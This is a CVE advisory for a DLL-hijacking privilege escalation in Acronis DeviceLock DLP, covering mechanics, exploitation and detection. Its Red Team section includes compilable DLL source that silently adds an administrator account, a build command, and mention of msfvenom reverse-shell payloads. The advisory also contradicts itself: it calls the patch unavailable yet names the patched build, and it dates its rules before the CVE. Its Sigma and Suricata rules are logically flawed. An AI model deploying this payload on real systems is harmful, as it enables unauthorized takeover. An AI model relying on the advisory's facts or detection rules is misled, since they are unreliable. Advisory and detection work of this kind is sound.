CVE-2026-50033

Executive Summary

CVE-2026-50033 is a local privilege escalation vulnerability in Acronis DeviceLock DLP for Windows, caused by an uncontrolled search path element (DLL hijacking). An authenticated local attacker can exploit this by placing a malicious DLL in a directory that the vulnerable application searches before the system directory, leading to arbitrary code execution in the context of the affected service. The vulnerability affects all builds prior to 9.0.15051.93227. No public exploit code or proof-of-concept is currently available, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a Windows-native binary application (Acronis DeviceLock DLP) and does not involve package manager dependencies.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – requires physical or remote desktop access.
• Attack Complexity: Low (AC:L) – no special conditions needed.
• Privileges Required: Low (PR:L) – attacker needs a standard user account.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – exploitation stays within the same security authority.
• Confidentiality, Integrity, Availability: High (C:H/I:H/A:H) – full compromise possible.

Threat Level: High. Although the EPSS score is 0.0% (indicating low exploitation probability in the wild), the vulnerability is unpatched and allows complete system takeover from a low-privileged user.

Deep Dive & Mechanics

The vulnerability resides in the DLL loading mechanism of Acronis DeviceLock DLP. The application does not use absolute paths when loading critical DLLs, instead relying on the system's search order. By default, Windows searches for DLLs in the following order:

1. The directory from which the application loaded.
2. The system directory (e.g., C:\Windows\System32).
3. The 16-bit system directory.
4. The Windows directory.
5. The current working directory.
6. Directories listed in the PATH environment variable.

An attacker with local access can place a malicious DLL (e.g., version.dll, dbghelp.dll, or wtsapi32.dll) in a directory that the DeviceLock service searches before the system directory (e.g., the application's install directory or a user-writable path). When the service starts or loads a specific function, it loads the attacker's DLL instead of the legitimate one, executing arbitrary code with the privileges of the DeviceLock service (typically SYSTEM).

The vulnerability is classified as CWE-427 (Uncontrolled Search Path Element). The affected component is the DeviceLock DLP service running on Windows.

Vulnerable vs. Patched Code

Vulnerable Code (Build < 9.0.15051.93227): The application uses relative paths or relies on the default DLL search order without specifying a full path. Example (pseudocode):

// Vulnerable: LoadLibrary without full path
HMODULE hMod = LoadLibrary(L"helper.dll");

Patched Code (Build >= 9.0.15051.93227): The patched version uses absolute paths or calls SetDllDirectory to restrict the search path. Example (pseudocode):

// Patched: Use absolute path
HMODULE hMod = LoadLibrary(L"C:\\Program Files\\Acronis\\DeviceLock\\helper.dll");
// Or restrict search path
SetDllDirectory(L"C:\\Program Files\\Acronis\\DeviceLock\\");

Since the patch is not publicly available, the exact fix is unknown but follows standard DLL hijacking mitigation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a Windows machine with Acronis DeviceLock DLP (build < 9.0.15051.93227).
• A low-privileged user account.
• Ability to write to a directory searched by the DeviceLock service (e.g., C:\Program Files\Acronis\DeviceLock\ or a user-writable path).

Steps:

1. Identify a DLL that the DeviceLock service loads without a full path. Use tools like Process Monitor (ProcMon) to filter for CreateFile operations with NAME NOT FOUND for DLLs.
2. Create a malicious DLL (e.g., using msfvenom or custom code) that executes a payload (e.g., reverse shell, add admin user).
3. Place the malicious DLL in the vulnerable directory (e.g., C:\Program Files\Acronis\DeviceLock\evil.dll).
4. Trigger the service to load the DLL (e.g., restart the service or perform an action that calls the vulnerable function).
5. The DLL executes with SYSTEM privileges.

Example malicious DLL code (C++):

// malicious.cpp
#include <windows.h>
#pragma comment(lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Execute command: add admin user
        system("net user attacker P@ssw0rd! /add");
        system("net localgroup administrators attacker /add");
    }
    return TRUE;
}

Compile with: x86_64-w64-mingw32-g++ -shared -o evil.dll malicious.cpp

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected DLL loads by the DeviceLock service using Sysmon Event ID 7 (Image loaded).
• Look for LoadLibrary calls from non-standard paths.
• Use AppLocker or Windows Defender Application Control (WDAC) to block unsigned DLLs.

Defense:

• Apply the vendor patch (build 9.0.15051.93227 or later) as soon as available.
• Restrict write permissions to the DeviceLock installation directory.
• Enable Safe DLL Search Mode (registry key: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode).
• Use SetDllDirectory or SetDefaultDllDirectories to harden the search path.

Indicators of Compromise (IOCs)

• File: Malicious DLL placed in C:\Program Files\Acronis\DeviceLock\ or other writable paths.
• Process: DeviceLock service (DeviceLockService.exe) loading a DLL from a non-standard path.
• Registry: Changes to HKLM\SYSTEM\CurrentControlSet\Services\DeviceLock or SafeDllSearchMode.
• Network: Outbound connections from DeviceLockService.exe to attacker-controlled IPs (if reverse shell used).
• Event Logs: Windows Security Event ID 4688 (process creation) with suspicious command lines (e.g., net user).

Detection Engineering

YARA Rule

rule CVE_2026_50033_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs targeting Acronis DeviceLock DLP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-50033"
    strings:
        $s1 = "DeviceLockService.exe" nocase
        $s2 = "LoadLibrary" nocase
        $s3 = "C:\\Program Files\\Acronis\\DeviceLock\\" nocase
    condition:
        uint16(0) == 0x5A4D and // MZ header
        $s1 and $s2 and not $s3
}

Sigma Rule

title: CVE-2026-50033 - Acronis DeviceLock DLL Hijack
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects DLL load events from non-standard paths by DeviceLock service
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-50033
logsource:
    product: windows
    service: sysmon
    definition: 'Requires Sysmon Event ID 7 (Image loaded)'
detection:
    selection:
        Image|endswith: '\\DeviceLockService.exe'
        ImageLoaded|startswith: 'C:\\Program Files\\Acronis\\DeviceLock\\'
    filter:
        ImageLoaded|endswith:
            - '\\kernel32.dll'
            - '\\ntdll.dll'
            - '\\user32.dll'
    condition: selection and not filter
falsepositives:
    - Legitimate third-party DLLs in the same directory
level: high
tags:
    - attack.privilege_escalation
    - attack.t1574

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2026-50033 - Potential DeviceLock DLL Hijack Outbound";
    flow:to_server,established;
    content:"DeviceLockService"; nocase;
    content:"evil"; nocase;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Patch: Apply the vendor update to build 9.0.15051.93227 or later as soon as it becomes available.
2. Workaround: Enable Safe DLL Search Mode by setting HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode to 1.
3. Access Control: Restrict write permissions to C:\Program Files\Acronis\DeviceLock\ to only SYSTEM and Administrators.
4. Application Control: Use AppLocker or WDAC to block execution of unsigned DLLs from non-standard paths.
5. Monitoring: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
6. Least Privilege: Ensure the DeviceLock service runs with the minimum necessary privileges.

Valters IT
DevSecOps & Cyber Threat Intelligence